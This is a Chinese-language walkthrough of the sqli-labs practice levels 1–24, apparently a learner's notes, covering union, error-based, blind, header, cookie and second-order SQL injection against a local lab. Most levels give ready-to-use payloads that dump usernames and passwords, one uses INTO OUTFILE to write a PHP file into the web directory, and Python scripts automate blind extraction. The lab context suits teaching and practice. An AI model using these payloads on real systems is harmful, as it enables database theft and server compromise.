目录
关卡1
关卡2
关卡3
关卡4
关卡5
关卡6
关卡7
关卡8
关卡9
关卡10
关卡11
关卡12
关卡13
关卡14
关卡15
关卡16
关卡17
关卡18
关卡19
关卡20
关卡21
关卡22
关卡23
关卡24
关卡1
(联合查询)
?gid=1
第一件事情就是逃脱单引号的控制——》为了闭合单引号
?gid=1’会报错,但是逃脱了单引号的控制
?gid=1%27
但是单双引号需要成对出现
?gid=1%27 union select 1,2,3需要联合查询下一步,但是依然没解决单双引号的问题
2个办法,就是把多出来的单引号闭合了,或者让它不生效-- , # , /****/ */
?gid=1%27# 然后发现这个#在url上面并没有生效
在url地址传参的时候,它不会编码我们的数组#和某些符号
编码规范是先取ascell 然后再取16进制
# 是%23
逃逸出来了后,下面就是要知道联合查询需要多少列,求当前表的列数
注意:mysql可以用数字来替换列名
就需要用order by来检测列数
检测到了列数就用联合查询
结果发现就没有任何变化。
它只取走了第一行,虽然后面的数据也取了但是没有展示在页面上。
办法就是让第一行不能取,只需要给它一个无效的id就可以将来二三列展现出来
我们就发现这个方法很好,所以更好的方法出来了
把这个2,3列换成mysql自带的函数
这种拿到了当前的用户和数据库名
现在库名知道了
首先你得知道管理员的表名
然后还需要知道管理员的列名
最终目的就是 注入管理员账号密码
然后我们发现mysql本身都是自带了三个库
在information_schema库里面有一张TABLES表和COLUMNS表一张表名一张列名。
SCHEMATA表里面有一个SCHEMA_NAME属性,然后发现里面的参数全是库名,明显哈没什么意义,因为我们刚刚用database()函数查到了。
TABLES表表里面有一个TABLES_SCHEMA属性,可以看见里面是所有的数据库名。还有一个TABLES_NAME属性里面就是数据库下面的所有表。
在COLUMNS表里面还有一个COLUMN_NAME属性,这个里面是有列名。
然后用mysql自带的三个数据库拿到数据库的表名、列名,又通过database()函数拿到了数据库名。又通过?id=-1' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 3,1 --+这个拿到了security库的表名,
然后又通过?id=-1' union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='security' and table_name='users' limit 1,1 --+拿到了security属性值,
然后通过?id=-1' union select 1,username,password from security.users --+拿到账号密码。
关卡2
?id=1--+
其他步骤跟关卡1相同无非就是没有了’,这是整数型注入
关卡3
?id=1')--+
就闭合方式不同
闭合方式不同,其他步骤跟关卡1相同
关卡4
?id=1")--+
闭合方式不同其余步骤跟关卡1相同
关卡5
(报错注入)
单引号闭合
找注入点,在前端是显示不出来的,去尝试爆破注入
?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
注意:你复制粘贴的话很可能那个’无法转换成%27,那么可能会影响结果
因为xml文件路径里面不允许用~,所以会产生报错
0x7e就是16进制的~
然后改中间的concat()里面的值,无非就是将里面的user()改了()括号里面写sql语句
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
中间一看就没有注入完全,只注入了两个
所以需要解决长度问题
?id=1'%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(username,0x3a,password)from%20users),1,32),0x7e),1)--+
关卡6
也是一样的跟关卡5但是是双引号闭合的
所以把?id=1’改为?id=1”其他步骤和配置一样
?id=1” and updatexml(1,concat(0x7e,user(),0x7e),1)--+
注意:你复制粘贴的话很可能那个’无法转换成%27,那么可能会影响结果
?id=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+
明显没截全,用关卡5用到的substr()函数去截全。
?id=1"%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,32),0x7e),1)--+
关卡7
Mysql如何导出或者上传Outfile
这个漏洞的利用非常苛刻
条件:
- mysql的用户权限必须为root
- 知道网站的物理路径
- 在variables里的secure_file_priv参数必须是什么都没有的情况
?id=1’)) union select 1,2,”<?php phpinfo():” into outfile “D:/phpstudy_pro/www/sqllabs/web.php”;--+
这两个其实是一样的
?id=1%27))%20union%20select%201,2,”<?php%20phpinfo():”%20into%20outfile%20“D:/phpstudy_pro/www/sqllabs/web.php”;--+
下面这一小关我就开始用小皮了,因为虚拟机里我并没有那个路径的文件
这个”<?php phpinfo()”这是一个参数字段跟前面的1,2一样的参数
Into outfile也就是导出到哪个目录(路径)下,
后面那个”D:/...........”明显就是跟的目录,等会就一个目录在那个下面去
到时候虽然这个程序报错,但是它是在目录下获取到的,然后打开这个文件,这个并不是虚拟机的哈是用的小皮在Windows搭建的mysql关卡。
注意:要满足三列:1,2,3列哈
关卡8
(亦真亦假)考虑一下
猜,以为数据库是security,s的ascii是115
写个错的:
这个是正确的:
?id=1' and ascii(substr(database(),1,1))=115--+
这个也就是先通过database()拿到数据库名,然后再使用substr()截取到数据库的第一个字母然后再通过ascii得到第一个字符的ASCII值然后再使用115去猜。
或者大于小于然后一个一个去判断其位置,得到数
或者这里用到了py,这个就是效率有点低
import time
import requests
url = 'http://127.0.0.1/sqllabs/Less-8/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
for j in range(32, 129):
payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
res = {"id": payload}
r = requests.get(url, params=res)
if "You are in..........." in r.text:
name = name + chr(j)
print(name)
break
else:
continue
inject_database(url)
可以将以上代码改进一下,无非就算法中的折半查找:
import time
import requests
url = 'http://127.0.0.1/sqllabs/Less-8/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
res = {"id": payload}
r = requests.get(url, params=res)
end_time = time.time()
if “You are in..........” in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
关卡9
?id=1' and if (ascii(substr(database(),1,1))>100,sleep(3),0)--+
这段代码也就是将数据库的第一个字母转化成ascii码,如果大于100那么就会让浏览器沉睡转三秒,如果错了那么会直接显示,不会加载。这样也可以体现是否猜对了,其实主打一个暴力感觉,写py脚本会更容易一些这个。
也可以写个py脚本:
import time
import requests
url = 'http://127.0.0.1/sqllabs/Less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
关卡10
查看代码我们发现,它跟第9关是一样的,只是存在闭合方式的不同
只需要将’单引号改为”双引号即可,其他步骤相同,无非就是暴力破解
?id=1" and if (ascii(substr(database(),1,1))>100,sleep(3),0)--+
关卡11
这一关明显的是post注入
Get是在url进行传参,而这个就是在账号密码那去传递参数
然后就是找到注入点。
明显这里就看出了与get传参的不同,这里的传参的参数只用了两个,因为之前用的*去查的,现在只是用的是username和password去查的。
其次#可以直接用了,因为之前是url地址栏传参我们需要url地址栏编码的。Post传参不涉及到编码的。
然后下面那个密码框的内容可以随便写,因为账号框我写了一个#被闭合了后面的东西,所以后面的内容就不会有影响。
我之前的用admin’ unsion select 1,user()#依然是什么那副图的结果
后面我用了一个不存在的用户名aaaa,去查发现只要前面,用户查不到就可以自己username查后面的内容然后展示出来。(无非就是利用了sql语句前面查不到后面才可以展示出来)
所以找到了注入点
在账户上输入以下的命名:
aaaa' union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #
关卡12
跟关卡11是一样的无非也就是闭合问题
aaaa") union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #
关卡13
这一关跟上面两关的不一样了,第一闭合方式
第二使用联合查询的话就无法展示出来了,因为这个源码被注释掉了
也就是这个效果:
aaa') union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #
所以我们使用报错注入:
aaa') and updatexml(1,concat(0x7e,user(),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
关卡14
a”
a" and updatexml(1,concat(0x7e,database(),0x7e),3)#
a" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
a" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
关卡15
我们发现无论怎么输入都没有报错什么的
a' union select 1,2#
所以这个我们就得使用猜的想法(亦真亦假)
a' union select 1,2 and if (ascii(substr(database(),1,1))=115,sleep(3),0)#
然后可以写一个py脚本
关卡16
其实和关卡15是一样的只是修改了闭合方式
a") union select 1,2#
所以这个我们就得使用猜的想法(亦真亦假)
a") union select 1,2 and if (ascii(substr(database(),1,1))=115,sleep(3),0)#
关卡17
17关无非就是多了一个过滤函数
意味着不要再去想uname里面就别再有一些操作了,只能去password里面去操作
Usename必须写对,否则进不去passwd里面去
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
关卡18
User-agent注入
Username、password都被过滤了。
我们发现注入点就在uagent这里因为HTTP_USER_AGENT是可控的,是可以更改的,但是要保证自己的账号密码正确才可以走到那里面去,才可以注入。模拟的是自己注册了一个账号密码,然后进行注入
好了之后我就用了小皮,改到Windows上面来了
使用工具:BurpSuite.vbs
先抓包
记住哈,这里要写正确的
然后点击Forward
发现ip并没有改掉,但是user-agent还没修改
所以我打算在去修改一下user-agent
修改了,然后我们观察sql语句发现闭合就要使用’,所以现在直接去爆破注入了啥
闭合的方式我们发现需要保留数据的传递所以
在user-agent哪一段:
a’ and updatexml(1,concat(0x7e,user(),0x7e),1) and ‘1’ =1
当然了也可以不闭合,就需要将$IP和$uname进行构造,不然就会少两个
可以怎么写
a’ and updatexml(1,concat(0x7e,user(),0x7e),1), ‘1.1.1.1’,’admin’)#
关卡19
无非就是改了传递的参数
明显把18关的user-agent改为了HTTP_REFERER参数了
也就是修改下面这个参数
其余步骤与18关一样
修改了,然后我们观察sql语句发现闭合就要使用’,所以现在直接去爆破注入了啥
闭合的方式我们发现需要保留数据的传递所以
在Referer哪一段:
a’ and updatexml(1,concat(0x7e,user(),0x7e),1) and ‘1’ =1
关卡20
首先它会判断一下你有没有cookie,然后cookie里面有没有uname这个值,有的话就存储进去,如果没有的话就会走登入这个操作
如果cookie没有uname的话它就会继续往下走,它会问你是否有uname和passwd的这两个参数的提交,相当于一个表单的提交
然后它就会去判断查询的值
然后将刚才的uname设置成为cookie的键
然后进行一次header的跳转index.php
然后又会去判断你有没有cookie这个值,因为创建了嘛你这会就有cookie了
然后就走到了
第二次跳转的时候并没有提交,所以没有就进入这个函数
然后将来cookie拿出来
然后就开始把参数拿出来展示
然后它将cookie放入查询语句中
如果查询结果有问题的话就会报错,如果没问题的话就开始查询,如果查询到就会
否则就没有
最后无非就是多了个
其实问题就是在于:
这里并没有过滤
这个是从cookie里面取的,然后cookie里面的uname是设置的,然后只需要改uname的进行改变就可以了
继续使用工具BurpSuite.vbs
无非也就是先抓包然后再修改cookie
admin'
admin' and updatexml(1,concat(0x7e,user(),0x7e),1)#
关卡21
其实和20关一样,只是用了一个base64的编码,然后后面要解码,也就是多了个这个过程。
继续使用工具BurpSuite.vbs
先抓包
然后再修改cookie,先写上去什么在用base64进行编码放进去
关卡22
也就是闭合方式的不同跟21关一模一样除了闭合
其余步骤与关卡22一样
关卡23
无非就是不让我们用注释符了
?id=1%27and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)or%20%271%27=%271--%20+
?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)or '1'='1-- + 判断表名
?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)or '1'='1-- + 判断列名
?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)or '1'='1-- + 判断数据
关卡24
Sql的二次注入
进行注册
账号:admin1'#
密码:123456
然后登入
账号:admin1'#
密码:123456